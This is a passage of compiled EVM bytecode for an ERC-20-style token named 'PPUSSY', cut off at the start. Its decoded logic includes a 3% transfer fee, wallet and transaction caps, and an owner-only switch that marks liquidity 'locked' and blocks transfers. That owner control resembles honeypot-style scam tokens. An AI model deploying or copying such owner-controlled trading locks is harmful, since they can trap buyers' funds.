fffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8890611a38565b60405180910390fd5b6000600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600681526020017f505055535359000000000000000000000000000000000000000000000000000081525081565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bd90611a38565b60405180910390fd5b3382606460026000546110d99190611b5f565b6110e39190611bd0565b81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461112e9190611c01565b111561116f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116690611ca7565b60405180910390fd5b83600261117e82600054611698565b11156111bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b690611d39565b60405180910390fd5b600660149054906101000a900460ff161561120f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120690611da5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff160361127e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127590611e7d565b60405180910390fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054851115611300576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f790611ee9565b60405180910390fd5b600061130d866003611698565b90506000818761131d9190611f75565b905086600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461136e9190611f75565b9250508190555080600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113c49190611c01565b925050819055508160016000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461143c9190611c01565b925050819055508773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516114a091906118b7565b60405180910390a3600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161152791906118b7565b60405180910390a342600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019550505050505092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611612576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160990611a38565b60405180910390fd5b6001600660146101000a81548160ff0219169083151502179055507f8f4e75b2b71b51d3107f168f33d4f291c4ef089a69b1075bcbf4476c69e81d0660405160405180910390a1565b6002602052816000526040600020602052806000526040600020600091509150505481565b60036020528060005260406000206000915090505481565b6000606482846116a89190611b5f565b6116b29190611bd0565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006116ea826116bf565b9050919050565b6116fa816116df565b811461170557600080fd5b50565b600081359050611717816116f1565b92915050565b600060208284031215611733576117326116ba565b5b600061174184828501611708565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611784578082015181840152602081019050611769565b60008484015250505050565b6000601f19601f8301169050919050565b60006117ac8261174a565b6117b68185611755565b93506117c6818560208601611766565b6117cf81611790565b840191505092915050565b600060208201905081810360008301526117f481846117a1565b905092915050565b6000819050919050565b61180f816117fc565b811461181a57600080fd5b50565b60008135905061182c81611806565b92915050565b60008060408385031215611849576118486116ba565b5b600061185785828601611708565b92505060206118688582860161181d565b9150509250929050565b60008115159050919050565b61188781611872565b82525050565b60006020820190506118a2600083018461187e565b92915050565b6118b1816117fc565b82525050565b60006020820190506118cc60008301846118a8565b92915050565b6000806000606084860312156118eb576118ea6116ba565b5b60006118f986828701611708565b935050602061190a86828701611708565b925050604061191b8682870161181d565b9150509250925092565b61192e816116df565b82525050565b60006020820190506119496000830184611925565b92915050565b600060ff82169050919050565b6119658161194f565b82525050565b6000602082019050611980600083018461195c565b92915050565b6000806040838503121561199d5761199c6116ba565b5b60006119ab85828601611708565b92505060206119bc85828601611708565b9150509250929050565b7f4f6e6c7920746865206f776e65722063616e2063616c6c20746869732066756e60008201527f6374696f6e2e0000000000000000000000000000000000000000000000000000602082015250565b6000611a22602683611755565b9150611a2d826119c6565b604082019050919050565b60006020820190508181036000830152611a5181611a15565b9050919050565b7f496e76616c6964206c697175696469747920706f6f6c20616464726573730000600082015250565b6000611a8e601e83611755565b9150611a9982611a58565b602082019050919050565b60006020820190508181036000830152611abd81611a81565b9050919050565b7f496e76616c6964207370656e6465722061646472657373000000000000000000600082015250565b6000611afa601783611755565b9150611b0582611ac4565b602082019050919050565b60006020820190508181036000830152611b2981611aed565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611b6a826117fc565b9150611b75836117fc565b9250828202611b83816117fc565b91508282048414831517611b9a57611b99611b30565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611bdb826117fc565b9150611be6836117fc565b925082611bf657611bf5611ba1565b5b828204905092915050565b6000611c0c826117fc565b9150611c17836117fc565b9250828201905080821115611c2f57611c2e611b30565b5b92915050565b7f57616c6c65742062616c616e636520776f756c6420657863656564206d61786960008201527f6d756d206c696d69740000000000000000000000000000000000000000000000602082015250565b6000611c91602983611755565b9150611c9c82611c35565b604082019050919050565b60006020820190508181036000830152611cc081611c84565b9050919050565b7f5472616e73616374696f6e20616d6f756e742065786365656473206d6178696d60008201527f756d206c696d6974000000000000000000000000000000000000000000000000602082015250565b6000611d23602883611755565b9150611d2e82611cc7565b604082019050919050565b60006020820190508181036000830152611d5281611d16565b9050919050565b7f4c6971756964697479206973206c6f636b656400000000000000000000000000600082015250565b6000611d8f601383611755565b9150611d9a82611d59565b602082019050919050565b60006020820190508181036000830152611dbe81611d82565b9050919050565b7f496e76616c69642073656e646572206164647265737300000000000000000000600082015250565b6000611dfb601683611755565b9150611e0682611dc5565b602082019050919050565b60006020820190508181036000830152611e2a81611dee565b9050919050565b7f496e76616c696420726563697069656e74206164647265737300000000000000600082015250565b6000611e67601983611755565b9150611e7282611e31565b602082019050919050565b60006020820190508181036000830152611e9681611e5a565b9050919050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b6000611ed3601483611755565b9150611ede82611e9d565b602082019050919050565b60006020820190508181036000830152611f0281611ec6565b9050919050565b7f496e73756666696369656e7420616c6c6f77616e636500000000000000000000600082015250565b6000611f3f601683611755565b9150611f4a82611f09565b602082019050919050565b60006020820190508181036000830152611f6e81611f32565b9050919050565b6000611f80826117fc565b9150611f8b836117fc565b9250828203905081811115611fa357611fa2611b30565b5b9291505056fea26469706673582212200e4f17898b2e4cc56048f0e67f21ac2dd7c47606093c1db325ba5e4f71b36d4a64736f6c63430008120033